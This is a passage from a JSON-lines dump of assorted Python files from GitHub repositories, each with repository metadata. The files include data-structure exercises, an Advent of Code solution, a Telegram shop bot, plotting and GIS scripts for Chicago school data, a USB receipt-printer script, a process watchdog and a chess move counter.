msg.setWindowTitle(\"Ошибка\")\n msg.show()\n sys.exit(app.exec_())\n","repo_name":"error404egor/QTProject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"20626608280","text":"class Node(object):\n def __init__(self, data=None):\n self.data = data\n self.next = None\n\n def __repr__(self):\n return str(self.data)\n\n\nclass SingleLinkedList(object):\n def __init__(self, iterable=[]):\n self.head = None\n self.size = 0\n for item in iterable: self.append(item)\n\n # lets define the append function used above\n\n def append(self, data):\n tmp = Node(data)\n tmp.next = self.head\n self.head = tmp\n self.size += 1\n\n def __repr__(self):\n (current, nodes) = self.head, []\n while current:\n nodes.append(str(current))\n current = current.next\n return \"->\".join(nodes)\n\n def __len__(self):\n return self.size\n\n def __iter__(self):\n current = self.head\n while current:\n yield current\n current = current.next\n raise StopIteration\n\n def __contains__(self, data):\n tmp = self.head\n found = False\n while tmp and not found:\n if data == tmp.data:\n found = True\n else:\n tmp = tmp.next\n return found\n\n def delete(self, data):\n tmp = self.head\n prev = None\n found = False\n while tmp and not found:\n if data == tmp.data:\n found = True\n else:\n prev = tmp\n tmp = tmp.next\n if found:\n self.size -= 1\n if prev is None:\n self.head = self.head.next\n else:\n prev.next = tmp.next\n\n\nif __name__ == '__main__':\n list = SingleLinkedList(range(0, 100, 10))\n list.delete(50)\n print(str(list))\n","repo_name":"twajothi/algo-datastructure","sub_path":"singlelinkedlist.py","file_name":"singlelinkedlist.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"30103341090","text":"# -*- coding: utf-8 -*-\n\"\"\"Script for visualizing the significance decision line in the\nBenjamini-Hochberg procedure.\n\nAuthor: Tuomas Puoliväli\nEmail: tuomas.puolivali@helsinki.fi\nLast modified 12th February 2018\nSource: https://github.com/puolival/multipy\n\"\"\"\n\n# Allow importing modules from parent directory.\nimport sys\nsys.path.append('..')\n\nfrom data import neuhaus\n\nimport matplotlib.pyplot as plt\n\nimport numpy as np\n\nimport seaborn as sns\n\nalpha = 0.05 # The chosen critical level.\n\npvals = neuhaus(permute=False)\nn_pvals = len(pvals)\nk = np.linspace(1, n_pvals, n_pvals)\nsel = np.arange(0, 8)\n\n\"\"\"Plot the data.\"\"\"\nsns.set_style('darkgrid')\nfig = plt.figure(figsize=(8, 6))\n\nax = fig.add_subplot(111)\nax.plot(k[sel], pvals[sel], 'o-')\ny = (alpha/n_pvals)*k + 0 # Line through the origin.\nax.plot(k[sel], y[sel], '-')\nax.legend(['P-value', 'Decision line'], loc='upper left')\nax.set_xlabel('Hypothesis')\nax.set_ylabel('P-value')\nax.set_title('Benjamini-Hochberg procedure')\nax.set_ylim([-0.01, np.max(pvals[sel])+0.01])\nax.set_xlim([0.5, np.max(sel)+1.5])\n\nfig.tight_layout()\nplt.show()\n","repo_name":"puolival/multipy","sub_path":"multipy/scripts/fig2.py","file_name":"fig2.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":96,"dataset":"github-code","pt":"22"} +{"seq_id":"20828605759","text":"BRACKET_IN = '['\nBRACKET_OUT = ']'\nDIVIDER_PACKETS = ([[2]], [[6]])\n\n\ndef __parse_list(symbols):\n outer_list = []\n symbol = None\n while symbol != BRACKET_OUT:\n symbol = symbols.pop(0)\n\n if symbol.isdigit():\n number = ''\n while symbol.isdigit():\n number += symbol\n symbol = symbols.pop(0)\n\n outer_list.append(int(number))\n\n elif symbol == BRACKET_IN:\n inner_list = __parse_list(symbols)\n outer_list.append(inner_list)\n\n return outer_list\n\n\ndef check_packet_pair_order(pair):\n left_pack, right_pack = pair\n smaller, larger = sorted(pair, key=lambda p: len(p))\n for idx in range(len(larger)):\n if idx < len(smaller):\n left, right = left_pack[idx], right_pack[idx]\n if all(isinstance(val, int) for val in (left, right)):\n if left != right:\n return left < right\n\n if any(isinstance(val, list) for val in (left, right)):\n if isinstance(left, int):\n left = [left]\n elif isinstance(right, int):\n right = [right]\n\n right_order = check_packet_pair_order((left, right))\n if right_order is not None:\n return right_order\n\n elif len(smaller) != len(larger):\n return left_pack == smaller\n\n return None\n\n\ndef sort_packets(packets):\n pen = len(packets)\n for i in range(pen):\n for j in range(0, pen - i - 1):\n left = j\n right = j + 1\n if not check_packet_pair_order((packets[left], packets[right])):\n packets[left], packets[right] = packets[right], packets[left]\n\n\nwith open('inputs/13_signal_packets.txt') as file:\n right_order_pair_indexes = set()\n packet_pairs = []\n packet_pair = []\n\n counter = 1\n for line in file:\n string_list = line.strip()\n if string_list:\n packet = __parse_list(list(string_list)[1:])\n packet_pair.append(packet)\n\n if len(packet_pair) == 2:\n packet_pairs.append(packet_pair)\n if check_packet_pair_order(packet_pair):\n right_order_pair_indexes.add(counter)\n\n packet_pair = []\n counter += 1\n\n packet_pairs.append(DIVIDER_PACKETS)\n packets = [packet for pair in packet_pairs for packet in pair]\n\n sort_packets(packets)\n decoder_key = (packets.index(DIVIDER_PACKETS[0]) + 1) * (packets.index(DIVIDER_PACKETS[1]) + 1)\n\n print(f'The sum of the indices of the right-ordered packets is {sum(right_order_pair_indexes)}')\n print(f'The decoder key for the distress signal is {decoder_key}')\n\n\n'''\n--- Day 13: Distress Signal ---\nYou climb the hill and again try contacting the Elves. However, you instead receive a signal you weren't expecting: a distress signal.\nYour handheld device must still not be working properly; the packets from the distress signal got decoded out of order. \nYou'll need to re-order the list of received packets (your puzzle input) to decode the message.\nYour list consists of pairs of packets; pairs are separated by a blank line. You need to identify how many pairs of packets are in the right order.\n\nFor example:\n\n[1,1,3,1,1]\n[1,1,5,1,1]\n\n[[1],[2,3,4]]\n[[1],4]\n\n[9]\n[[8,7,6]]\n\n[[4,4],4,4]\n[[4,4],4,4,4]\n\n[7,7,7,7]\n[7,7,7]\n\n[]\n[3]\n\n[[[]]]\n[[]]\n\n[1,[2,[3,[4,[5,6,7]]]],8,9]\n[1,[2,[3,[4,[5,6,0]]]],8,9]\n\nPacket data consists of lists and integers. Each list starts with [, ends with ], and contains zero or more comma-separated values (either integers or other lists). \nEach packet is always a list and appears on its own line.\nWhen comparing two values, the first value is called left and the second value is called right. Then:\n\nIf both values are integers, the lower integer should come first. If the left integer is lower than the right integer, \nthe inputs are in the right order. If the left integer is higher than the right integer, the inputs are not in the right order. \nOtherwise, the inputs are the same integer; continue checking the next part of the input.\n\nIf both values are lists, compare the first value of each list, then the second value, and so on. \nIf the left list runs out of items first, the inputs are in the right order. \nIf the right list runs out of items first, the inputs are not in the right order. \nIf the lists are the same length and no comparison makes a decision about the order, continue checking the next part of the input.\n\nIf exactly one value is an integer, convert the integer to a list which contains that integer as its only value, then retry the comparison. \nFor example, if comparing [0,0,0] and 2, convert the right value to [2] (a list containing 2); the result is then found by instead comparing [0,0,0] and [2].\n\nUsing these rules, you can determine which of the pairs in the example are in the right order:\n\n== Pair 1 ==\n- Compare [1,1,3,1,1] vs [1,1,5,1,1]\n - Compare 1 vs 1\n - Compare 1 vs 1\n - Compare 3 vs 5\n - Left side is smaller, so inputs are in the right order\n\n== Pair 2 ==\n- Compare [[1],[2,3,4]] vs [[1],4]\n - Compare [1] vs [1]\n - Compare 1 vs 1\n - Compare [2,3,4] vs 4\n - Mixed types; convert right to [4] and retry comparison\n - Compare [2,3,4] vs [4]\n - Compare 2 vs 4\n - Left side is smaller, so inputs are in the right order\n\n== Pair 3 ==\n- Compare [9] vs [[8,7,6]]\n - Compare 9 vs [8,7,6]\n - Mixed types; convert left to [9] and retry comparison\n - Compare [9] vs [8,7,6]\n - Compare 9 vs 8\n - Right side is smaller, so inputs are not in the right order\n\n== Pair 4 ==\n- Compare [[4,4],4,4] vs [[4,4],4,4,4]\n - Compare [4,4] vs [4,4]\n - Compare 4 vs 4\n - Compare 4 vs 4\n - Compare 4 vs 4\n - Compare 4 vs 4\n - Left side ran out of items, so inputs are in the right order\n\n== Pair 5 ==\n- Compare [7,7,7,7] vs [7,7,7]\n - Compare 7 vs 7\n - Compare 7 vs 7\n - Compare 7 vs 7\n - Right side ran out of items, so inputs are not in the right order\n\n== Pair 6 ==\n- Compare [] vs [3]\n - Left side ran out of items, so inputs are in the right order\n\n== Pair 7 ==\n- Compare [[[]]] vs [[]]\n - Compare [[]] vs []\n - Right side ran out of items, so inputs are not in the right order\n\n== Pair 8 ==\n- Compare [1,[2,[3,[4,[5,6,7]]]],8,9] vs [1,[2,[3,[4,[5,6,0]]]],8,9]\n - Compare 1 vs 1\n - Compare [2,[3,[4,[5,6,7]]]] vs [2,[3,[4,[5,6,0]]]]\n - Compare 2 vs 2\n - Compare [3,[4,[5,6,7]]] vs [3,[4,[5,6,0]]]\n - Compare 3 vs 3\n - Compare [4,[5,6,7]] vs [4,[5,6,0]]\n - Compare 4 vs 4\n - Compare [5,6,7] vs [5,6,0]\n - Compare 5 vs 5\n - Compare 6 vs 6\n - Compare 7 vs 0\n - Right side is smaller, so inputs are not in the right order\n \nWhat are the indices of the pairs that are already in the right order? (The first pair has index 1, the second pair has index 2, and so on.) \nIn the above example, the pairs in the right order are 1, 2, 4, and 6; the sum of these indices is 13.\n\nDetermine which pairs of packets are already in the right order. What is the sum of the indices of those pairs?\n'''\n'''\n--- Part Two ---\nNow, you just need to put all of the packets in the right order. Disregard the blank lines in your list of received packets.\n\nThe distress signal protocol also requires that you include two additional divider packets:\n\n[[2]]\n[[6]]\nUsing the same rules as before, organize all packets - the ones in your list of received packets as well as the two divider packets - into the correct order.\n\nFor the example above, the result of putting the packets in the correct order is:\n\n[]\n[[]]\n[[[]]]\n[1,1,3,1,1]\n[1,1,5,1,1]\n[[1],[2,3,4]]\n[1,[2,[3,[4,[5,6,0]]]],8,9]\n[1,[2,[3,[4,[5,6,7]]]],8,9]\n[[1],4]\n[[2]]\n[3]\n[[4,4],4,4]\n[[4,4],4,4,4]\n[[6]]\n[7,7,7]\n[7,7,7,7]\n[[8,7,6]]\n[9]\n\nAfterward, locate the divider packets. To find the decoder key for this distress signal, \nyou need to determine the indices of the two divider packets and multiply them together. \n(The first packet is at index 1, the second packet is at index 2, and so on.) \nIn this example, the divider packets are 10th and 14th, and so the decoder key is 140.\n\nOrganize all of the packets into the correct order. What is the decoder key for the distress signal?\n'''","repo_name":"garkling/adventOfCode2022","sub_path":"13_distress_signal.py","file_name":"13_distress_signal.py","file_ext":"py","file_size_in_byte":8282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"657562831","text":"\"\"\"Test that our coordinate conversions work.\"\"\"\n\nimport math\n\nimport pytest\n\nfrom sb_vision import Cartesian, Spherical, cartesian_to_spherical\n\nTEST_DATA = [\n (\n Cartesian(x=0, y=0, z=1),\n Spherical(\n rot_x=0,\n rot_y=0,\n dist=1,\n ),\n ),\n (\n Cartesian(x=0, y=1, z=1),\n Spherical(\n rot_x=math.pi / 4, # or 45 degrees\n rot_y=0,\n dist=2**0.5, # or 1.4142135623730951\n ),\n ),\n (\n Cartesian(x=1, y=0, z=1),\n Spherical(\n rot_x=0,\n rot_y=math.pi / 4, # or 45 degrees\n dist=2**0.5, # or 1.4142135623730951\n ),\n ),\n (\n Cartesian(x=1, y=1, z=1),\n Spherical(\n rot_x=math.pi / 4, # or 45 degrees\n rot_y=math.pi / 4, # or 45 degrees\n dist=3**0.5, # or 1.7320508075688772\n ),\n ),\n (\n Cartesian(x=-1, y=1, z=1),\n Spherical(\n rot_x=math.pi / 4, # or -45 degrees\n rot_y=-math.pi / 4, # or 45 degrees\n dist=3**0.5, # or 1.7320508075688772\n ),\n ),\n (\n Cartesian(x=1, y=-1, z=1),\n Spherical(\n rot_x=-math.pi / 4, # or -45 degrees\n rot_y=math.pi / 4, # or 45 degrees\n dist=3**0.5, # or 1.7320508075688772\n ),\n ),\n (\n Cartesian(x=-0.1, y=0, z=1),\n Spherical(\n rot_x=0,\n rot_y=math.atan(-0.1), # or -5.710593137499643 degrees\n dist=(0.01 + 1)**0.5, # or 1.004987562112089\n ),\n ),\n (\n Cartesian(x=-0.9, y=0, z=3),\n Spherical(\n rot_x=0,\n rot_y=math.atan(-0.9 / 3), # or -16.69924423399362 degrees\n dist=(0.81 + 9)**0.5, # or 3.132091952673165\n ),\n ),\n (\n Cartesian(x=0, y=-0.1, z=3),\n Spherical(\n rot_x=math.atan(-0.1 / 3), # or -1.9091524329963763 degrees\n rot_y=0,\n dist=(0.01 + 9)**0.5, # or 3.132091952673165\n ),\n ),\n]\n\n\n@pytest.mark.parametrize(\"cartesian, spherical\", TEST_DATA)\ndef test_cartesian_to_spherical(cartesian, spherical):\n \"\"\"Make sure that this conversion works.\"\"\"\n actual = cartesian_to_spherical(cartesian)\n\n assert round(spherical.rot_x, 3) == round(actual.rot_x, 3), \"Wrong x rotation\"\n assert round(spherical.rot_y, 3) == round(actual.rot_y, 3), \"Wrong y rotation\"\n assert round(spherical.dist, 3) == round(actual.dist, 3), \"Wrong distance\"\n","repo_name":"sourcebots/sb-vision","sub_path":"tests/test_coordinate_conversion.py","file_name":"test_coordinate_conversion.py","file_ext":"py","file_size_in_byte":2516,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"7638336101","text":"import re\n\nfrom environs import Env\nfrom requests.exceptions import HTTPError\n\nfrom aiogram import Bot\nfrom aiogram import Dispatcher\nfrom aiogram import executor\nfrom aiogram import types\n\nfrom aiogram.contrib.fsm_storage.memory import MemoryStorage\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.dispatcher.filters.builtin import CommandStart\nfrom aiogram.dispatcher.filters.state import State\nfrom aiogram.dispatcher.filters.state import StatesGroup\n\nfrom keyboards import create_initial_keyboard\nfrom keyboards import create_menu_keyboard\nfrom keyboards import create_product_description_keyboard\nfrom keyboards import create_cart_keyboard\n\nfrom handle_data_lib import fetch_caption\nfrom handle_data_lib import fetch_img_url\nfrom handle_data_lib import fetch_cart_description\n\nfrom moltin_api import get_actual_token\nfrom moltin_api import get_products\nfrom moltin_api import get_product\nfrom moltin_api import add_to_cart\nfrom moltin_api import get_cart_items\nfrom moltin_api import remove_cart_item\nfrom moltin_api import create_customer\n\n\nenv = Env()\nenv.read_env()\n\nstorage = MemoryStorage()\nbot = Bot(token=env.str('TG_BOT_TOKEN'), parse_mode=types.ParseMode.HTML)\ndp = Dispatcher(bot, storage=storage)\n\n\nclass UserState(StatesGroup):\n handle_menu = State()\n handle_description = State()\n handle_cart = State()\n handle_email = State()\n\n selected_product_id = State()\n\n\n@dp.message_handler(CommandStart())\nasync def start(message: types.Message):\n await message.answer(\n 'Здравствуйте! Используйте кнопку меню «Ассортимент»',\n reply_markup=create_initial_keyboard())\n\n\n@dp.message_handler(text='Ассортимент')\nasync def show_menu(message: types.Message):\n moltin_token = get_actual_token()\n products = get_products(moltin_token)\n\n await message.answer(\n 'Выберите товар:', reply_markup=create_menu_keyboard(products))\n\n await UserState.handle_menu.set()\n\n\n@dp.callback_query_handler(state=UserState.handle_menu)\nasync def handle_menu(call: types.CallbackQuery, state: FSMContext):\n await call.answer()\n\n moltin_token = get_actual_token()\n\n if call.data == 'cancel':\n await call.message.delete()\n await call.message.answer(\n 'Вернуться к выбору можно через кнопку «Ассортимент»',\n reply_markup=create_initial_keyboard())\n\n await state.finish()\n\n elif call.data == 'cart':\n cart_id = call.message.from_user.id\n cart_items_data = get_cart_items(moltin_token, cart_id)\n\n if len(cart_items_data['data']) == 0:\n await call.message.edit_text(\n 'Ваша пуста...',\n reply_markup=create_cart_keyboard(cart_items_data))\n\n await UserState.handle_cart.set()\n return\n\n cart_text = fetch_cart_description(cart_items_data)\n\n await call.message.edit_text(\n cart_text, reply_markup=create_cart_keyboard(cart_items_data))\n\n await UserState.handle_cart.set()\n\n else:\n await call.message.delete()\n product_id = call.data\n await state.update_data(selected_product_id=product_id)\n product_data = get_product(moltin_token, product_id)\n\n caption = fetch_caption(product_data)\n img_url = fetch_img_url(product_data)\n reply_markup = create_product_description_keyboard()\n\n if img_url:\n await call.message.answer_photo(\n photo=img_url, caption=caption, reply_markup=reply_markup)\n\n else:\n await call.message.answer(caption, reply_markup=reply_markup)\n\n await UserState.handle_description.set()\n\n\n@dp.callback_query_handler(state=UserState.handle_description)\nasync def handle_description(call: types.CallbackQuery, state: FSMContext):\n await call.answer()\n await call.message.delete()\n cart_id = call.message.from_user.id\n moltin_token = get_actual_token()\n\n if call.data == 'to_menu':\n products = get_products(moltin_token)\n\n await call.message.answer(\n 'Выберите товар:', reply_markup=create_menu_keyboard(products))\n\n await UserState.handle_menu.set()\n\n elif call.data == 'cart':\n cart_items_data = get_cart_items(moltin_token, cart_id)\n\n if len(cart_items_data['data']) == 0:\n await call.message.answer(\n 'Ваша пуста...',\n reply_markup=create_cart_keyboard(cart_items_data))\n\n await UserState.handle_cart.set()\n return\n\n cart_text = fetch_cart_description(cart_items_data)\n\n await call.message.answer(\n cart_text, reply_markup=create_cart_keyboard(cart_items_data))\n\n await UserState.handle_cart.set()\n\n else:\n product_id = await state.get_data('selected_product_id')\n product_amount = int(call.data)\n\n add_to_cart(\n moltin_token, cart_id, product_id['selected_product_id'],\n product_amount)\n\n products = get_products(moltin_token)\n\n await call.message.answer(\n 'Товар в корзине! Хотите выбрать что нибудь еще?',\n reply_markup=create_menu_keyboard(products))\n\n await UserState.handle_menu.set()\n\n\n@dp.callback_query_handler(state=UserState.handle_cart)\nasync def handle_cart(call: types.CallbackQuery, state: FSMContext):\n await call.answer()\n\n moltin_token = get_actual_token()\n\n if call.data == 'to_menu':\n products = get_products(moltin_token)\n await call.message.edit_text(\n 'Выберите товар:', reply_markup=create_menu_keyboard(products))\n\n await UserState.handle_menu.set()\n\n elif call.data == 'payment':\n await call.message.delete()\n await call.message.answer('введите ваш email')\n await UserState.handle_email.set()\n\n else:\n cart_id = call.message.from_user.id\n item_id = call.data\n remove_cart_item(moltin_token, cart_id, item_id)\n cart_items_data = get_cart_items(moltin_token, cart_id)\n\n if len(cart_items_data['data']) == 0:\n await call.message.edit_text(\n 'Ваша пуста...',\n reply_markup=create_cart_keyboard(cart_items_data))\n\n await UserState.handle_cart.set()\n return\n\n cart_text = fetch_cart_description(cart_items_data)\n\n await call.message.edit_text(\n cart_text, reply_markup=create_cart_keyboard(cart_items_data))\n\n await UserState.handle_cart.set()\n\n\n@dp.message_handler(state=UserState.handle_email)\nasync def handle_email(message: types.Message, state: FSMContext):\n user_answer = message.text\n email_mask = r'(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+$)'\n\n if not re.fullmatch(email_mask, user_answer):\n await message.answer(\n 'Неккоректный формат email. Попробуйте ввести еще раз... '\n '\\n(пример: thebestfish@mail.com)')\n await UserState.handle_email.set()\n return\n\n moltin_token = get_actual_token()\n\n try:\n status_code = create_customer(moltin_token, user_answer)\n\n except HTTPError:\n if status_code == 409:\n pass\n\n await message.answer('Спасибо, с вами свяжется наш менеджер :)')\n await state.finish()\n\n\nasync def on_startup(dispatcher):\n print('Bot was started')\n\n\nif __name__ == '__main__':\n executor.start_polling(dp, on_startup=on_startup)\n","repo_name":"itcosplay/sale_fish_bot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":7635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"4985318223","text":"import usb.core\nimport json\nfrom escpos.printer import Usb\n\n# File path to store the USB device data\nsaved_data_file = 'usb_devices.json'\n\n# Specify the Vendor ID and Product ID of your USB device\nvendor_id = 0x04b8\nproduct_id = 0x0e02\n\n# Load the previously saved USB device data\ntry:\n with open(saved_data_file, 'r') as file:\n saved_devices = json.load(file)\nexcept FileNotFoundError:\n saved_devices = []\n\n# Find all connected USB devices\ndevices = usb.core.find(find_all=True)\n\n# Set to store new USB devices\nnew_devices = []\n\n# Iterate over the connected devices\nfor device in devices:\n # Get the device information\n current_vendor_id = device.idVendor\n current_product_id = device.idProduct\n\n # Check if the device is new and accessible\n if {'vendor_id': current_vendor_id, 'product_id': current_product_id} not in saved_devices:\n try:\n # Try to connect to the printer\n printer = Usb(current_vendor_id, current_product_id)\n\n # Print the new device information\n print(\"New USB device found:\")\n print(\"Vendor ID: 0x{:04x}\".format(current_vendor_id))\n print(\"Product ID: 0x{:04x}\".format(current_product_id))\n print()\n vendor_id = current_vendor_id\n product_id = current_product_id\n # Disconnect from the printer\n printer.close()\n\n \n # Find the USB device with the specified Vendor ID and Product ID\n device = usb.core.find(idVendor=vendor_id, idProduct=product_id)\n\n # Check if the device is found\n if device is None:\n print(\"USB device not found.\")\n else:\n \n print(\"USB device found.\")\n # Connect to the printer\n printer = Usb(vendor_id, product_id)\n\n # Set text size to 2x\n printer.text(\"\\x1d\\x21\\x11\")\n\n # Set text alignment to center\n printer.text(\"\\x1b\\x61\\x01\")\n\n # Print your desired text\n printer.text(\"Hello, world!\")\n\n # Cut the paper\n printer.cut()\n\n # Disconnect from the printer\n printer.close()\n \n except:\n # If successful, add it to the new devices list\n new_devices.append({'vendor_id': current_vendor_id, 'product_id': current_product_id})\n\n print(\"Ignore devices that are not accessible.\")\n # Ignore devices that are not accessible\n pass\n\n# Update the saved device data\nsaved_devices.extend(new_devices)\n\n# Save the updated device data\nwith open(saved_data_file, 'w') as file:\n json.dump(saved_devices, file, indent=4)\n","repo_name":"Ademheyar/GET_PRINTING_DIVICE","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"38287289659","text":"\n# coding: utf-8\n\n# In[54]:\n\n\nimport numpy as np\nimport pandas as pd\nimport csv\nfrom pgmpy import *\n\n\n# In[55]:\n\n\ndisease = pd.read_csv('heart.csv')\ndisease = disease.replace('?', np.nan)\n\n\n# In[56]:\n\n\nmodel=BayesianModel([\n ('age','trestbps'),\n ('age','fbs'),\n ('sex','trestbps'),\n ('trestbps','heartdisease'),\n ('fbs','heartdisease'),\n ('chol','heartdisease')\n ])\n\n\n# In[ ]:\n\n\nprint('\\nLearning CPDs using maximum likelihood estimators...')\nmodel.fit(disease,estimator=MaximumLikelihoodEstimator)\n\n\n# In[ ]:\n\n\nprint('\\nInferencing with Bayesian Network:')\nHeartDisease_infer = VariableElimination(model)\n\n\n# In[ ]:\n\n\nprint('\\n1.Probability of HeartDisease given Age=20')\nq = HeartDisease_infer.query(variables=['heartdisease'], evidence={'age': 20})\nprint(q['heartdisease'])\n\n\n# In[ ]:\n\n\nprint('\\n2. Probability of HeartDisease given chol (Cholesterol) =600')\nq = HeartDisease_infer.query(variables=['heartdisease'], evidence={'chol': 151})\nprint(q['heartdisease'])\n\n","repo_name":"imsmfaiz/ml","sub_path":"7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"28597395780","text":"from django.contrib import admin\nfrom django.contrib.auth.admin import UserAdmin\nfrom .models import Product, Shop, ProductCategory, ShopInfo, CustomUser\n\n\nadmin.site.register(Product)\nadmin.site.register(Shop)\nadmin.site.register(ProductCategory)\nadmin.site.register(ShopInfo)\n\n\nclass UserAdminConfig(UserAdmin):\n ordering = ('-date_joined', )\n list_display = ('email', 'id', 'user_name', 'first_name', 'is_active', 'is_staff')\n\n fieldsets = (\n (None, {'fields': ('email', 'user_name', 'first_name',)}),\n ('Permissions', {'fields': ('is_staff', 'is_active')}),\n )\n add_fieldsets = (\n (None, {\n 'classes': ('wide',),\n 'fields': ('email', 'user_name', 'first_name', 'password1', 'password2', 'is_active', 'is_staff')\n }\n ),\n )\n\n\nadmin.site.register(CustomUser, UserAdminConfig)\n","repo_name":"mikeeGB/ecommerce_platform","sub_path":"shop_api/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"7633625828","text":"import os\nimport sys\n\n# Set absolute path to the root folder of the directory\nfull_path = os.getcwd()\nhome_folder = 'CPS_GradRate_Analysis'\nroot = full_path.split(home_folder)[0] + home_folder + '/'\nsys.path.append(root)\n\nfrom src.cleaning import *\n\nimport pandas as pd\nimport numpy as np\nimport geopandas as gpd\nfrom shapely.geometry import Point\nimport matplotlib.pyplot as plt\n\n# Create 2018-2019 SchoolYear class\npath_to_pr_1819 = root + 'data/chicago_data_portal_csv_files/Chicago_Public_Schools_-_School_Progress_Reports_SY1819.csv'\npath_to_sp_1819 = root + 'data/chicago_data_portal_csv_files/Chicago_Public_Schools_-_School_Profile_Information_SY1819.csv'\n\n# Custom functions in src/cleaning.py\n\n# sy_1819 will hold data about all of the schools to allow for eda on the entire student population\nsy_1819 = import_and_merge_data(path_to_sp_1819, path_to_pr_1819)\n\n# As shown below, the high school df will be cleaned to have a specific subset of records\nsy_1819_hs = import_and_merge_data(path_to_sp_1819, path_to_pr_1819)\nsy_1819_hs = convert_is_high_school_to_bool(sy_1819_hs)\nsy_1819_hs = isolate_high_schools(sy_1819_hs)\n\n# series for each High Schools Longitude\nhs_longs = sy_1819_hs[\"School_Longitude_sp\"]\n\n# series for each High School's latitude`\nhs_lats = sy_1819_hs[\"School_Latitude_sp\"]\n\nhs_geometry = [Point(long, lat) for long, lat in zip(hs_longs, hs_lats)]\n\ngeo_df = gpd.GeoDataFrame(sy_1819_hs, geometry=hs_geometry)\n\n# This is not necesary to plot, but could come in handy in the future.\nnetwork_colors = {'Charter': 'r',\n 'ISP': 'g',\n 'Network 15': 'b',\n 'Network 17': 'orange',\n np.nan: 'black',\n 'Options': 'pink',\n 'Contract': 'green',\n 'Network 16': 'yellow',\n 'Network 14': 'cyan',\n 'AUSL': 'magenta'}\n\ngeo_df['network_colors'] = geo_df['Network'].map(network_colors)\n\nchicago_shape = gpd.read_file(root+'data/shape_files/geo_export_74e2d584-f137-45fb-b412-80348c0deab2.shp') \n","repo_name":"j-max/CPS_GradRate_Analysis","sub_path":"src/maps.py","file_name":"maps.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"5277196672","text":"import os\n\n\nfrom .watchdog import WatchDog\n\n\n__all__ = ['PIDWatchDog']\n\n\nclass PIDWatchDog(WatchDog):\n def __init__(self, name, pid, timeout, whenDead=None, whenAlive=None,\n **kwargs):\n \"\"\"\n Creates a watchdog that checks a pid every timeout\n\n Args:\n * name (str): the name of the watchdog\n * pid (int): the process id to check\n * timeout (int): the time after which the callback function is called\n * whenDead (callable): the handler if the process is found dead\n * whenAlive (callable): the handler if the process is found alive\n \"\"\"\n self.pid = int(pid)\n self.handlerDead = whenDead\\\n if whenDead is not None and callable(whenDead)\\\n else self.defaultHandler\n self.handlerAlive = whenAlive\\\n if whenAlive is not None and callable(whenAlive)\\\n else None\n super(PIDWatchDog, self).__init__(name=name, timeout=timeout,\n handler=self.pidcheck, **kwargs)\n\n def pidcheck(self, **kwargs):\n \"\"\"\n Does the pid-checking of the pid\n \"\"\"\n if is_pid_running(self.pid):\n if callable(getattr(self, \"handlerAlive\", \"\")):\n self.handlerAlive(**kwargs)\n self.reset()\n else:\n self.handlerDead(**kwargs)\n\n\ndef is_pid_running(pid):\n try:\n os.kill(pid, 0)\n except:\n return False\n else:\n return True\n","repo_name":"ceyzeriat/nanosat-control","sub_path":"nanoutils/pidwatchdog.py","file_name":"pidwatchdog.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"2923691383","text":"import copy\r\nfrom functions.moves import getLegalMoves, makeMove\r\nfrom functions.fen import fen_parser\r\nfrom functions.pieces import getPieces\r\nfrom time import time\r\n\r\ndef movegen(board, player, castle, en, halfmove, fullmove, moves_history, depth):\r\n if depth == 0:\r\n return 1\r\n positions = 0\r\n moves, new_castle = getLegalMoves(board, player, castle, en, halfmove, moves_history)\r\n if type(moves) != list:\r\n print(\"hola\")\r\n return 1\r\n for move in moves:\r\n temp_board = copy.deepcopy(board) \r\n temp_castle = copy.deepcopy(new_castle) \r\n temp_board, temp_castle, new_en, new_halfmove, new_fullmove, new_moves_history = makeMove(temp_board, move[0], move[1], board[move[0]], player, temp_castle, en, halfmove, fullmove, list(moves_history))\r\n positions += movegen(temp_board, -player, temp_castle, new_en, new_halfmove, new_fullmove, new_moves_history, depth - 1)\r\n return positions\r\n\r\nboard, player, castle, en, halfmove, fullmove = fen_parser(\"rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1\", getPieces())\r\nmoves_history = []\r\n\r\nstart_time = time()\r\npositions = movegen(board, player, castle, en, halfmove, fullmove, moves_history, 3)\r\nend_time = time()\r\n\r\nelapsed_time = (end_time-start_time)*1000\r\nprint(positions, elapsed_time)\r\n","repo_name":"ArjunBasandrai/python-chess","sub_path":"gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":1312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"13145027033","text":"'''\nCreated on May 19, 2014\n\n@author: zhouguangyi2009\n'''\nclass Solution:\n # @param n, an integer\n # @return an integer\n ''' no memorization not effitiency\n def climbStairs(self, n):\n if n < 0 :\n return 0\n if n == 0:\n return 1\n return self.climbStairs(n - 1) + self.climbStairs(n - 2)\n '''\n def __init__(self):\n # becuase need to return arr[n]\n # n couldn't be 0, so arr starts from 0\n self.arr = 